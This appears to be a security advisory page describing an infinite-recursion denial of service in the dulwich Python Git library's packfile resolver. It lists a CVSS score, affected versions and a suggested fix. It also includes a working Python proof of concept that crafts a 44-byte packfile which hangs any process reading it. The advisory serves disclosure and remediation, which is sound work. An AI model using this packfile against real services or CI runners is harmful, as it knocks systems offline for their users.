GHSA-35mr-4567-66vg

Suggest an improvement
Source
https://github.com/advisories/GHSA-35mr-4567-66vg
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-35mr-4567-66vg/GHSA-35mr-4567-66vg.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-35mr-4567-66vg
Published
2026-10-02T18:54:39Z
Modified
2026-10-02T19:00:05Z
Severity
  • 6.5 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H CVSS Calculator
Summary
Dulwich: Infinite Loop Denial of Service (DoS) in Packfile Object Resolution
Details

Affected file

  • dulwich/pack.py (Method: Pack.resolve_object)

Description / Summary

A High-severity Denial of Service (DoS) vulnerability exists in the Pack.resolve_object method. When resolving an OFS_DELTA object, the resolver calculates the base offset using base_offset = obj_offset - delta_offset.

If a malicious packfile contains an OFS_DELTA object where delta_offset is 0, the calculation obj_offset - 0 resolves back to the current object's own offset. Because the implementation lacks a depth counter, a "visited" set, or an explicit rejection of delta_offset == 0, the resolver enters an infinite recursive loop, exhausting CPU resources and eventually crashing the process.

Vulnerable Code Breakdown (dulwich/pack.py):

elif obj_type == OFS_DELTA:
    delta_offset = parse_pack_object_offset_at(...)
    base_offset = obj_offset - delta_offset          # VULNERABILITY: Self-reference if delta_offset == 0
    base_type, base_data = self.resolve_object(...)  # VULNERABILITY: Infinite recursion

Potential impact

An attacker can trigger this infinite loop via any operation that walks packfiles (e.g., dulwich clone, fetch, cat-file, or internal Pack.__getitem__ lookups).

  1. CPU Exhaustion: The process will spin at 100% CPU indefinitely.
  2. Denial of Service: Any service using dulwich (web interfaces, CI/CD runners) will hang or crash, preventing legitimate repository access.
  3. Protocol Incompatibility: This behavior violates the Git packfile specification. The standard git C client explicitly guards against this: if (!base_offset) die("delta offset == 0 is invalid");.

POC (Proof of Concept)

The following Python script generates a 44-byte packfile that triggers the loop:

from dulwich.pack import Pack
import struct, zlib, tempfile, os

# Build a single OFS_DELTA entry whose delta_offset is 0
type_ofs_delta = 6
header = bytes([(type_ofs_delta << 4) | 0])
ofs_bytes = bytes([0x00]) # delta_offset = 0
body = zlib.compress(b'')
raw = header + ofs_bytes + body

pack = b'PACK' + struct.pack('>I', 2) + struct.pack('>I', 1) + raw + (b'\x00' * 20)

fd, path = tempfile.mkstemp(suffix='.pack')
os.write(fd, pack); os.close(fd)

# Trigger: This call never returns and spins at 100% CPU
p = Pack(path)
obj = p[list(p.iterobjects())[0]]

Possible solution

  1. Explicit Guard: Add a check in Pack.resolve_object to reject delta_offset == 0:
    if delta_offset == 0:
        raise CorruptPacksFile("OFS_DELTA has self-referential delta_offset=0")
    
  2. Recursion Depth: Implement a depth limit (e.g., MAX_DELTA_DEPTH = 50) to prevent long, non-looping chains of deltas (OFS or REF).
Database specific
{
    "cwe_ids":  [
        "CWE-835"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-10-02T18:54:39Z",
    "nvd_published_at":  null,
    "severity":  "MODERATE"
}
References

Affected packages

PyPI / dulwich

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
1.2.9

Affected versions

0.*
0.0.1
0.1.0
0.1.1
0.2.1
0.3.0
0.3.1
0.3.2
0.3.3
0.4.0
0.4.1
0.5.0
0.6.0
0.6.1
0.6.2
0.7.0
0.7.1
0.8.0
0.8.1
0.8.2
0.8.3
0.8.4
0.8.5
0.8.6
0.8.7
0.9.0
0.9.1
0.9.2
0.9.3
0.9.4
0.9.5
0.9.6
0.9.7
0.9.8
0.9.9
0.10.0
0.10.1a
0.11.0
0.11.1
0.11.2
0.12.0
0.13.0
0.14.0
0.14.1
0.15.0
0.16.0
0.16.1
0.16.2
0.16.3
0.17.1
0.17.2
0.17.3
0.18.0
0.18.1
0.18.2
0.18.3
0.18.4
0.18.5
0.18.6
0.19.0
0.19.1
0.19.2
0.19.3a0
0.19.3
0.19.4
0.19.5
0.19.6
0.19.7
0.19.8
0.19.9
0.19.10
0.19.11
0.19.12
0.19.13
0.19.14
0.19.15
0.19.16
0.20.0
0.20.1
0.20.2
0.20.3
0.20.4
0.20.5
0.20.6
0.20.7
0.20.8
0.20.9
0.20.10
0.20.11
0.20.12
0.20.13
0.20.14
0.20.15
0.20.17
0.20.18
0.20.19
0.20.20
0.20.21
0.20.22
0.20.23
0.20.24
0.20.25
0.20.26
0.20.27
0.20.28
0.20.29
0.20.30
0.20.31
0.20.32
0.20.33
0.20.34
0.20.35
0.20.36
0.20.37
0.20.38
0.20.39
0.20.40
0.20.41
0.20.42
0.20.43
0.20.44
0.20.45
0.20.46
0.20.47
0.20.48
0.20.49
0.20.50
0.21.0
0.21.1
0.21.2
0.21.3
0.21.4
0.21.4.1
0.21.5
0.21.6
0.21.7
0.22.0
0.22.1
0.22.3
0.22.4
0.22.5
0.22.6
0.22.7
0.22.8
0.23.0
0.23.1
0.23.2
0.24.0
0.24.1
0.24.2
0.24.3
0.24.4
0.24.5
0.24.6
0.24.7
0.24.8
0.24.9
0.24.10
0.25.0
0.25.1
0.25.2
1.*
1.0.0
1.1.0
1.2.0
1.2.1
1.2.2
1.2.3
1.2.4
1.2.5
1.2.6
1.2.7
1.2.8

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-35mr-4567-66vg/GHSA-35mr-4567-66vg.json"